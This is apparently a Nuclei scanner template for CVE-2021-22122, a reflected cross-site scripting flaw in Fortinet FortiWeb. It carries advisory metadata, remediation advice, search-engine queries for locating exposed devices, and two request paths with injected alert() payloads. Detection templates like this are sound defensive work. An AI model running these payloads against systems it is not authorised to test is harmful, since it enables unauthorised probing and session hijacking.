FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
PoC代码[已公开]
id: CVE-2021-22122
info:
name: FortiWeb - Cross Site Scripting
author: dwisiswant0
severity: medium
description: |
FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
impact: |
Successful exploitation of this vulnerability can result in the compromise of sensitive user information, session hijacking.
remediation: |
Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
reference:
- https://www.fortiguard.com/psirt/FG-IR-20-122
- https://twitter.com/ptswarm/status/1357316793753362433
- https://fortiguard.com/advisory/FG-IR-20-122
- https://nvd.nist.gov/vuln/detail/CVE-2021-22122
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-22122
cwe-id: CWE-79
epss-score: 0.61542
epss-percentile: 0.98285
cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: fortinet
product: fortiweb
shodan-query: http.title:"fortiweb - "
fofa-query: title="fortiweb - "
google-query: intitle:"fortiweb - "
tags: cve2021,cve,fortiweb,xss,fortinet
http:
- method: GET
path:
- "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
- "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert('document.domain')"
- "No policy has been chosen."
condition: and
# digest: 490a0046304402207e46103d3f3f0fbb17efcf40c04217cb087d7fe23caad74909507e871a74de92022003cddbf68b20f1f281a2850ca3d637b2bfefe217b6108377841c38e226367381:922c64590222798bb761d5b6d8e72950